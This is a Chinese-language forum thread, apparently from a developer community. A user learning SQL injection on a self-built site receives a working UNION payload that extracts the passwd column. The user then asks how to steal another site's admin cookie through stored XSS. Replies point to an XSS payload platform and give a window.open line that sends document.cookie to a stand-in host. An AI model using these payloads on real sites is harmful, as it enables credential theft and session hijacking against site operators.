[求助]关于 SQL 注入

[v2gba]

我正在学习SQL注入
自建的网站里的查询语句是:

SELECT name, surname, username, passwd, is_admin FROM users WHERE username='***********';

星号是输入内容,
但是不管怎样出错他都只会返回username,
我可以不断尝试拿到不同的username,
但是怎样能把passwd放到username里返回呢?
我想的是类似于构造出

SELECT name, surname, passwd, username, is_admin FROM users WHERE username='某用户名';

但试了不同的组合, 都无法成功. 不知道应该怎样构造语句.

Thanks in advance!

已解决

[mhycy]

你想做啥。。。。囧

[typcn]

盲注？借助工具吧

[v2gba]

@mhycy 这是学习啊...网站是我自己搭的..

[v2gba]

@typcn 不是盲注 我知道网站源码

[sandtears]

额。。 不是盲注的话，你得给大家看一下网页显示的源码吧。。

[v2gba]

@RIcter
大大求助

[v2gba]

@sandtears
http://pastebin.com/3h1NqKaS

已附上源码

[mhycy]

报错的是语句，passwd都没查出来怎么返回？

[v2gba]

@mhycy

-- Users schema

CREATE TABLE users(
id INTEGER PRIMARY KEY NOT NULL,
name TEXT NOT NULL,
surname TEXT NOT NULL,
username TEXT NOT NULL,
passwd TEXT NOT NULL,
is_admin BOOLEAN NOT NULL DEFAULT 'f'
);

[RIcter]

刚睡醒看到已经解决了…
--

-1' union select password from xxx#

[RIcter]

@RIcter 忘记 limit 0,1 了，完整 payload：

-1' union select concat(surname, 0x3a, passwd) from users limit 0,1#

[v2gba]

@RIcter

还想问下一个关于XSS的问题

例如我可以在A站以普通用户的身份发布一个不被转义的内容.
A站管理员会访问我的网站(B站).

能否讲下大概怎样的过程能拿到A站管理员cookie里的内容?

[RIcter]

有一种平台叫做 XSS 平台，比如这个： http://xssnow.com/index.php
里面有现成可利用的 payload 可以获取 Cookie。

以至于远离，大抵是这样：

先获取 Cookie：document.cookie
然后转义，POST Cookie 的内容到一个接收端，接受端获取后存入数据库。

[RIcter]

@RIcter s/远离/原理/g

[kslr]

@MrGba2z >

window.open("http://xxx.com?cookie="+document.cookie)

[v2gba]

@RIcter 没有邀请码 T_T.


@kslr @RIcter
我想象的流程是:

管理员访问我的网站, 我直接首页跳转到他的网站W页面, W页面有我发布的未转义内容, 访问该页面会执行脚本, 获取cookies并发到我的网站.

请问是否正确?

[RIcter]

@MrGba2z 不要邀请码，随便打就行

[v2gba]

@RIcter
提示邀请码不正确...

[RIcter]

@MrGba2z 可能現在要邀請碼了吧⋯